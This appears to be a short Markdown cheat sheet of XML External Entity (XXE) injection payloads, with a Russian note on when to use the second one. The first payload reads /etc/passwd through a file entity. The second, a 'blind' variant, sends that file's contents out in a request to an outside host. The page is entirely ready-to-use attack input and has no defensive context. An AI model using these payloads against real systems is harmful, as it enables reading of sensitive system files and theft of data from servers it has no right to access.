16 lines
No EOL
421 B
Markdown
16 lines
No EOL
421 B
Markdown
### LFI Test
|
|
```xml
|
|
<?xml version="1.0"?>
|
|
<!DOCTYPE foo [
|
|
<!ELEMENT foo (#ANY)>
|
|
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><f>&xxe;</f
|
|
```
|
|
|
|
### Blind LFI test (если первый вариант ничего не вернул)
|
|
```xml
|
|
<?xml version="1.0"?>
|
|
<!DOCTYPE foo [
|
|
<!ELEMENT foo (#ANY)>
|
|
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
|
|
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
|
|
``` |